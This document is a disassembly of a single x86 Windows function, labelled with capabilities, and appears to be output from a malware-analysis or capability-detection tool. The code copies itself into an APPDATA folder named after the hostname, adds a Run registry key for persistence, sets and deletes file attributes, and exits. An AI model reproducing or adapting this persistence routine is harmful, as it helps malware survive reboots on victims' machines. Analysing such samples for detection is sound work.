Function at 0x404a5c
Capabilities:
Check if file exists
Create directory
Delete file
Get file attributes
Get hostname
Persist via run registry key
Query environment variable
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, 0x104
push esi
call fcn.00405428
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
pop ecx
push esi
mov ebx, eax
push ebx
push str._WINDIR_
call edi
push ebx
call fcn.0040488a
pop ecx
push esi
mov dword [ebp - 0xc], eax
call fcn.00405428
pop ecx
push esi
mov ebx, eax
push ebx
push str._APPDATA_
call edi
push esi
mov dword [ebp - 0x14], 0x10
call fcn.00405428
pop ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, 0x407c34
push edi
mov ecx, ebx
call fcn.00405db8
pop ecx
push dword [ebp - 0x10]
mov ecx, ebx
call fcn.00405db8
pop ecx
push edi
mov ecx, ebx
call fcn.00405db8
pop ecx
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
call fcn.00405428
pop ecx
push esi
mov dword [ebp - 8], eax
call fcn.00405428
cmp byte [ebp + 0xc], 0
mov edx, eax
pop ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], closesocket
je 0x404b0f
mov dword [ebp - 4], closesocket
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.00405d8d
lea edi, [esi + eax]
jmp 0x404b1f
dec edi
cmp byte [edi], 0x5c
jne 0x404b1e
and dword [ebp + 0xc], 0
inc edi
mov ecx, edi
call fcn.00405d8d
or ecx, 0xffffffff
sub ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, esi
call fcn.00405d8d
mov ecx, dword [ebp - 0x18]
add ecx, eax
js 0x404b72
sub esi, edx
mov al, byte [esi + edx]
add byte [edx], al
inc dword [ebp + 0xc]
mov ecx, edi
inc edx
call fcn.00405d8d
or ecx, 0xffffffff
sub ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 8]
call fcn.00405d8d
mov ecx, dword [ebp - 0x18]
add ecx, eax
cmp dword [ebp + 0xc], ecx
jle 0x404b48
push ebx
push dword [ebp - 0x10]
call fcn.00405e5f
pop ecx
pop ecx
test eax, eax
je 0x404c08
push dword [ebp - 0xc]
mov edi, dword [ebp - 8]
push ebx
push str._s_s
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
push dword [ebp - 0xc]
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
push dword [ebp - 4]
call fcn.00405b0b
add esp, 0x20
test al, al
jne 0x404bc1
push edi
push dword [ebp - 0xc]
push esi
push dword [ebp - 4]
call fcn.00405be4
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x404be0
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push dword [ebp + 8]
call fcn.00402aea
push edi
call fcn.0040499d
add esp, 0xc
push 0
push edi
call fcn.0040263d
pop ecx
pop ecx
test al, al
je 0x404c41
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push ebx
push str._s_s
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp - 8]
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push edi
push esi
push dword [ebp - 4]
call fcn.00405b0b
add esp, 0x20
test al, al
jne 0x404c41
push dword [ebp - 8]
push edi
push esi
push dword [ebp - 4]
call fcn.00405be4
add esp, 0x10
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret